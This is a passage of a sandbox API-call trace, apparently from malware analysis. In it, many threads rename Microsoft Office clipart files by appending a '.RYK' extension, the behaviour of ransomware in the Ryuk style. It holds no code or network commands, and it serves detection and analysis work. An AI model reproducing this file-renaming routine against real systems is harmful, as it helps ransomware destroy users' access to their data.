	[0247.726] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2702
	os_tid = 0x3018

	[0247.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF", dwFileAttributes=0x80) returned 0
	[0248.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.068] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.068] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2703
	os_tid = 0x301c

	[0247.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF", dwFileAttributes=0x80) returned 0
	[0247.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.729] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.729] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2704
	os_tid = 0x3020

	[0247.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF", dwFileAttributes=0x80) returned 0
	[0248.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.070] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.070] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2705
	os_tid = 0x3024

	[0247.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF", dwFileAttributes=0x80) returned 0
	[0247.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.732] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.732] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2706
	os_tid = 0x3028

	[0247.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF", dwFileAttributes=0x80) returned 0
	[0248.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.071] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.071] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2707
	os_tid = 0x302c

	[0247.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF", dwFileAttributes=0x80) returned 0
	[0248.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.073] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.073] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2708
	os_tid = 0x3030

	[0247.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF", dwFileAttributes=0x80) returned 0
	[0248.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.074] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.075] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2709
	os_tid = 0x3034

	[0247.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF", dwFileAttributes=0x80) returned 0
	[0248.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.076] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.076] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2710
	os_tid = 0x3038

	[0247.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF", dwFileAttributes=0x80) returned 0
	[0248.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.077] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.077] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2711
	os_tid = 0x303c

	[0247.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF", dwFileAttributes=0x80) returned 0
	[0248.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.079] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.079] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2712
	os_tid = 0x3040

	[0248.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF", dwFileAttributes=0x80) returned 0
	[0248.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.081] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.081] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2713
	os_tid = 0x3044

	[0248.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP", dwFileAttributes=0x80) returned 0
	[0248.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.082] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.083] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2714
	os_tid = 0x3048

	[0248.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP", dwFileAttributes=0x80) returned 0
	[0248.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.269] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.270] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2715
	os_tid = 0x304c

	[0248.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG", dwFileAttributes=0x80) returned 0
	[0248.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.271] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.271] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2716
	os_tid = 0x3050

	[0248.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG", dwFileAttributes=0x80) returned 0
	[0248.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.273] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.273] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2717
	os_tid = 0x3054

	[0248.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG", dwFileAttributes=0x80) returned 0
	[0248.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.274] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.274] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2718
	os_tid = 0x3058

	[0248.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG", dwFileAttributes=0x80) returned 0
	[0248.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.276] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.276] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2719
	os_tid = 0x305c

	[0248.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP", dwFileAttributes=0x80) returned 0
	[0248.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.277] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.277] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2720
	os_tid = 0x3060

	[0248.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP", dwFileAttributes=0x80) returned 0
	[0248.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.278] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.278] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2721
	os_tid = 0x3064

	[0248.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG", dwFileAttributes=0x80) returned 0
	[0248.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.280] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.280] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2722
	os_tid = 0x3068

	[0248.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP", dwFileAttributes=0x80) returned 0
	[0248.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.281] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.281] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2723
	os_tid = 0x306c

	[0248.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF", dwFileAttributes=0x80) returned 0
	[0248.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.283] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.283] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2724
	os_tid = 0x3070

	[0248.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP", dwFileAttributes=0x80) returned 0
	[0248.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.284] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.284] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2725
	os_tid = 0x3074

	[0248.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP", dwFileAttributes=0x80) returned 0
	[0248.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.286] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.286] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2726
	os_tid = 0x3078

	[0248.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP", dwFileAttributes=0x80) returned 0
	[0248.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.288] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.288] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2730
	os_tid = 0x3098

	[0248.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", dwFileAttributes=0x80) returned 0
